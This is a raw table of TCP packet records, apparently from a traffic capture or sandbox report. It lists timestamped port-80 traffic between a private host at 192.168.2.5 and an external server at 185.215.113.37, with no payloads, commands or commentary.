Oct 24, 2024 08:38:47.109968901 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.109983921 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.110163927 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.110174894 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.110184908 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.110200882 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.110204935 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.110213995 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.110220909 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.110232115 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.110235929 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.110244036 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.110255957 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.110260963 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.110270023 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.110275984 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.110304117 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.113372087 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.113383055 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.113394022 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.113405943 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.113420963 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.113456964 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.160849094 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.160876989 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.160892963 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.160904884 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.160912037 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.160934925 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.160954952 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.160964966 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.160984993 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.160996914 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.161020994 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.161046982 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.200556993 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.200637102 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.200643063 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.200659037 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.200671911 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.200679064 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.200685024 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.200699091 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.200704098 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.200712919 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.200737953 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.200753927 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.200783968 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.200794935 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.200805902 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.200826883 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.200834990 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.200855017 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.200860023 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.200870991 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.200882912 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.200887918 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.200894117 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.200906038 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.200917006 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.200918913 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.200928926 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.200932980 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.200942039 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.200953007 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.200978041 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.200980902 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.201003075 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.201001883 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.201014996 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.201020002 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.201035976 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.201044083 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.201054096 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.201057911 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.201066017 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.201076984 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.201082945 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.201090097 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.201101065 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.201108932 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.201113939 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.201126099 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.201127052 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.201138020 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.201150894 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.201150894 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.201163054 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.201179981 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.201185942 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.201193094 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.201199055 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.201210976 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.201221943 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.201221943 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.201234102 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.201246023 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.201250076 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.201262951 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.201267958 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.201282024 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.201291084 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.201294899 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.201307058 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.201312065 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.201314926 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.201319933 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.201325893 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.201333046 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.201378107 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.201425076 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.201435089 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.201447010 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.201458931 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.201461077 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.201469898 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.201482058 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.201487064 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.201493025 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.201505899 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.201513052 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.201528072 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.201553106 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.201555967 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.201567888 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.201581001 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.201591969 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.201596975 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.201603889 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.201615095 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.201630116 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.201632023 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.201638937 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.201649904 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.201663017 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.201668024 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.201678991 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.201687098 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.201692104 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.201704025 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.201714039 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.201719046 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.201734066 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.201740980 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.201745987 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.201757908 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.201762915 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.201771021 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.201785088 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.201801062 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.201816082 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.201828957 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.201839924 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.201843023 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.201855898 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.201864958 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.201879978 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.201894999 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.202002048 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.202013016 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.202023983 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.202037096 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.202049017 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.202053070 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.202069998 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.202075005 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.202083111 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.202091932 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.202095032 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.202106953 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.202120066 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.202122927 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.202131987 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.202143908 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.202147007 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.202155113 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.202163935 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.202167988 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.202181101 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.202183008 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.202192068 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.202205896 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.202208996 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.202218056 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.202229977 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.202234030 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.202243090 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.202260017 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.202265024 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.202271938 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.202279091 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.202291965 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.202296019 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.202323914 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.204385042 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.204396963 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.204406977 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.204423904 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.204437971 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.204437971 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.204449892 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.204463005 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.204468966 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.204485893 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.204487085 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.204499006 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.204509974 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.204516888 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.204544067 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.204610109 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.204622030 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.204632998 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.204644918 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.204655886 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.204658985 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.204668045 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.204675913 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.204680920 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.204691887 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.204694033 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.204720020 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.204746962 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.204751015 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.204765081 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.204777002 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.204787970 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.204802990 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.204811096 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.204823017 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.204828978 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.204834938 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.204847097 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.204849958 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.204859018 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.204873085 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.204879999 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.204885006 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.204896927 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.204905033 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.204909086 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.204921007 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.204930067 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.204952955 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.224006891 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.224030972 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.224042892 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.224061966 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.224087000 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.224211931 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.224224091 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.224232912 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.224262953 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.224289894 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.224303961 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.224319935 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.224329948 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.224332094 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.224359989 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.224384069 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.224761963 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.224778891 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.224796057 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.224808931 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.224812031 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.224822044 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.224831104 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.224834919 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.224848032 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.224859953 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.224864960 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.224873066 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.224880934 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.224884033 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.224901915 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.224901915 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.224915028 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.224920034 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.224941015 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.224951982 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.224962950 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.224963903 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.224977970 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.224982977 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.225001097 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.225001097 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.225013018 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.225023985 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.225027084 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.225038052 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.225047112 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.225054026 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.225071907 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.225092888 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.225092888 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.225105047 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.225111008 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.225117922 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.225130081 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.225141048 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.225143909 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.225152016 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.225163937 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.225174904 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.225184917 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.225193024 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.225197077 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.225209951 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.225213051 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.225220919 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.225231886 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.225240946 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.225244999 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.225256920 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.225270987 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.225275040 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.225282907 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.225291014 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.225310087 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.225318909 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.225328922 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.225334883 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.225338936 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.225353003 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.225367069 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.225389957 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.225399017 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.225403070 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.225416899 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.225428104 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.225454092 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.225482941 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.228941917 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.228956938 CEST	80	61014	185.215.113.37	192.168.2.5
